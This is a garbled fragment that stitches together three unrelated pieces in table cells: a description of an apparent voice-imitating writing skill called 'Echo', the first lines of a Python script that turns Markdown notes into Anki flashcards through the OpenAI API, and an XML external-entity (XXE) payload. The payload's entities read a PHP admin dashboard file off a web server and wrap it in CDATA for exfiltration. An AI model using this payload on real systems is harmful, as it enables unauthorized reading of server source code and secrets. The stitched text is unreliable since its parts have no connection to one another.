| name | write-with-echo |
|---|---|
| description | Use for AI writing. Echo imitates voice of famous authors or of provided text, and can be called through the Fulcrum API. |
Echo is trained to write in other people's voices.
| from pathlib import Path | |
| import openai | |
| import tiktoken | |
| from langchain.text_splitter import RecursiveCharacterTextSplitter | |
| import yaml | |
| # program that reads MD files, calls OpenAI API with GPT 4 to generate flashcards for a knowledge base ANKI deck | |
| config = yaml.safe_load(open("ankify.yml")) | |
| directory = Path(config["base_dir"]) | |
| encoding = tiktoken.encoding_for_model("gpt-4") |
| <!ENTITY % file SYSTEM "file:///var/www/html/skygenerator/public/admin_dashboard.php"> | |
| <!ENTITY % start "<![CDATA["> | |
| <!ENTITY % end "]]>"> | |
| <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>"> |